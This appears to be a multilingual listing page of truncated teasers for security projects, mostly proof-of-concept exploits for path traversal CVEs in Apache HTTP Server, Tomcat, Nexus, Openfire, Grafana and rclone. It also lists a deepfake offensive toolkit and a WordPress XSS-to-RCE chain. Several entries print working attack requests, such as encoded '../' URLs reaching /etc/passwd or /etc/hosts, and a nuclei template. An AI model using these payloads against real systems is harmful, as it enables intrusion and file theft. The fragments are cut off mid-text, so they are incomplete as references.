CVE-2025-24813

CVE-2025-24813 - Vulnerabilità di Path Equivalence in Apache Tomcat Apache Tomcat è vulnerabile a un problema di Path Equivalence / Path Traversal dovuto alla gestione impropria delle sequenze ../ nei percorsi. ID CVE: CVE-2025-24813 Gravità: Critica Link di riferimento:...

CVE-2021-41773

CVE-2021-41773 PoC — Apache HTTP Server Path Traversal Übersicht CVE-2021-41773 ist eine Path-Traversal-Schwachstelle, die den Apache HTTP Server 2.4.49 betrifft. Die Schwachstelle ermöglicht es einem Angreifer, unter bestimmten Konfigurationen auf Dateien außerhalb des vorgesehenen Verzeichnisse...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

CVE-2022-22978

CVE 2022-22978: Bypass de Autorização no RegexRequestMatcher 🥶 Visão Geral De acordo com as informações que pesquisei, esta é uma vulnerabilidade relacionada à classe RegexRequestMatcher no framework Spring Security. Especificamente, aplicações que usam RegexRequestMatcher cuja expressão regular...

ioc2rpz

ioc2rpz™ rende operativa la tua intelligence sulle minacce Indice Riepilogo breve Panoramica ioc2rpz™ è il luogo dove l'intelligence sulle minacce incontra il DNS Architettura generale Come usare ioc2rpz™ Interfaccia web di ioc2rpz™ Supporto protocolli Riepilogo porte UDP Porta 53 TCP Porta 53 DN...

CVE-2021-41773

CVE-2021-41773 POC & Lab per CVE-2021-41773 Preparazione del Lab root@kitploit: $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC root@kitploit: RCE curl...

CVE-2023-45827

CVE-2023-45827 Schwachstellenübersicht CVE-2023-45827 CVSS : 9.8 3. November 2023 Prototype Pollution im node.js-Paket Im Rahmen des rebob-Projekts Schwachstellenbeschreibung github advisories Dies ist eine Prototype Pollution PP Schwachstelle in dot-diver. Sie kann zu RCE führen. verwundbarer Co...

NotCVE-2026-0009

Path Traversal Vulnerability in nitroshare Description NitroShare Desktop v0.3.4 contains a path traversal vulnerability in its LAN file transfer server. The server listens on all network interfaces port 40818 without authentication. When receiving files, the name field from the sender's JSON ite...

CVE-2013-6987

CVE-2013-6987 Synology DiskStation Manager DSM 4.3-3810 अपडेट 3 से पहले के संस्करणों में FileBrowser घटकों में कई डायरेक्टरी ट्रैवर्सल भेद्यताएं हैं, जो दूरस्थ हमलावरों को .. डॉट डॉट के माध्यम से मनमानी फ़ाइलों को पढ़ने, लिखने और हटाने की अनुमति देती हैं। उपयोग: root@kitploit: python example: lis...

Preproduce-CVE-2021-41773

Reproduktion von CVE 2021-41773 Path-Traversal- und Datei-Offenlegungs-Schwachstelle im Apache HTTP Server 2.4.49 CVE-2021-41773 POC root@kitploit: $ docker compose up Bestätigen der Funktion root@kitploit: $ curl -I http://localhost HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 13:25:18 GMT Server:...

CVE-2023-32315

CVE-2023-32315 root@kitploit: GET /setup/setup-s/%002e%002e/Su002esu002e/log.jsp HTTP/1.1 Host: 192.168.40.132:9090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; X64 AppleWebKit/537.36 KHTML, like Gecko Chrome/109.0.5414.120 Safari/537.36 Accept:...

cve-2021-41773-exploration

Panoramica CVE-2021-41773 è una vulnerabilità di path traversal scoperta in Apache HTTP Server 2.4.49 nell'ottobre 2021. La causa principale è stata un errore nella normalizzazione delle sequenze di punti finali nell'URL prima di verificare che il percorso richiesto rimanesse all'interno della ro...

CVE-2026-79781

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in t...

EUVD-2026-65539

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in t...

CVE-2026-79781

rclone serve s3 before version 1.74.4 contains a path traversal vulnerability in its handling of S3 object keys. An unauthenticated, network-based attacker can include dot-dot (../) segments in object key names (e.g., ../root-secret.txt) to escape the bucket namespace and read or overwrite files ...

CVE-2026-79781 rclone serve s3 Path Traversal via dot-dot object keys

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in t...

dot

il Deepfake Offensive Toolkit dot aka Deepfake Offensive Toolkit produce deepfake in tempo reale e controllabili, pronti per l'iniezione in telecamere virtuali. dot è stato creato per eseguire penetration testing contro, ad esempio, sistemi di verifica dell'identità e videoconferenza, per uso da...

poc-CVE-2026-64638-

XSS2Shell — CVE-2026-64638 PoC WordPress Pre-Auth-XSS → RCE-Exploit-Kette, basierend auf Forschung von pwn.ai, veröffentlicht auf ionsec.io. ⚠️ RECHTLICHER HINWEIS : Nur für BILDUNGSZWECKE und AUTORISIERTE TESTS. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine...

CVE-2021-43798

CVE-2021-43798 1. Resumo Grafana é uma plataforma de código aberto que suporta monitoramento e gerenciamento de dados. Nas versões abaixo, existe uma vulnerabilidade de Path Traversal que permite manipular caminhos de arquivos usando caracteres especiais como ../. 8.0.0 ou superior, inferior a...